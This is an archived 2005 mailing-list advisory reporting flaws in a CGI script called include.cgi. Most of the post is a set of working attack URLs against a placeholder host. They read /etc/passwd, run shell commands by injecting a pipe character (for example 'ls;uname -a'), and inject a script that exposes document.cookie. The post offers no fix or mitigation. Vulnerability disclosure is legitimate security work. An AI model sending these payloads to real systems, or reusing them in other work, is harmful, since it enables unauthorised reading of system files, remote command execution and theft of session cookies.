OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
remote command execution in include.cgi script

From: fireboy fireboy (fireboynetwebmails.com)
Date: Sun Apr 24 2005 - 23:18:43 CDT

Tunis 24/04/2005
BUG found by fireboy
fireboywebmails.com

THERE ARE SOME BUGS IN include.cgi SCRIPT THAT CAN SHOW SENSILBLES FILES IN A SYSTEM
OR EXECUTE COMMANDS IN THE TARGET HOST WICH CAN COMPROMISE IT.

IT IS ONLY FOR SECURITY AND EDUCATIONAL PURPOSE

1)file showing
http://www.target.com/cgi-bin/include.cgi?/etc/passwd

2)remote code execution
http://www.target.com/cgi-bin/include.cgi?|command

3)CSS
www.target.com/cgi-bin/include.cgi?<script>alert(document.cookie)</script>

ex:
http://www.target.com/cgi-bin/include.cgi?|ls;uname -a;

greetz to all magattack memebers www.magattack.tk